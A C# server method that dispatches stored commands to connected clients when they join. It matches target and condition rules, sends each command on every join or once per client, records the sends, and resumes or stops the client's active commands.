public void OnClientJoin(Client client) { Logger.Debug("Client CI-{0} joined, check if there are commands to execute", client.Id); lock (_dynamicCommandsLock) { foreach ( var command in DynamicCommands.Where( x => (x.TransmissionEvent.GetType() == typeof(OnJoinTransmissionEvent)) && IsClientInTargets(client, x.Target) && CheckConditions(client.GetOnlineClientInformation(), client.ComputerInformation.ClientConfig, x.Conditions))) { if (ExecuteStaticCommand(new[] { client }, DynamicCommandToPotentialCommand(command, _databaseManager.GetDynamicCommandParameter(command.Id))) .Count == 1) { _databaseManager.AddDynamicCommandEvent(command.Id, client.Id, ActivityType.Sent, null); } } foreach ( var command in DynamicCommands.Where( x => x.TransmissionEvent.GetType() == typeof(EveryClientOnceTransmissionEvent) && IsClientInTargets(client, x.Target) && CheckConditions(client.GetOnlineClientInformation(), client.ComputerInformation.ClientConfig, x.Conditions))) { if (!_databaseManager.ClientCommandExecuted(client.Id, command.Id)) { if (ExecuteStaticCommand(new[] { client }, DynamicCommandToPotentialCommand(command, _databaseManager.GetDynamicCommandParameter(command.Id))).Count == 1) { _databaseManager.AddDynamicCommandEvent(command.Id, client.Id, ActivityType.Sent, null); } } } } if (client.ComputerInformation.ActiveCommands?.Count > 0) { lock (_activeCommandsLock) foreach (var activeCommandId in client.ComputerInformation.ActiveCommands) { var activeCommand = ActiveCommands.FirstOrDefault(x => x.DynamicCommand.Id == activeCommandId); if (activeCommand == null) { var dynamicCommand = _databaseManager.GetDynamicCommandById(activeCommandId); if (dynamicCommand == null) { //when there is no command on this server with the id, we stop it because it may be removed by an administrator client.StopActiveCommand(activeCommandId); return; } ActiveCommands.Add(activeCommand = new ActiveCommandInfo(dynamicCommand)); ActiveCommandEventManager.AddActiveCommand(activeCommand); } lock (activeCommand.ClientsLock) activeCommand.Clients.Add(client); CheckClientExecuteActiveCommand(activeCommand, client); ActiveCommandEventManager.AddClient(activeCommand, client); } } }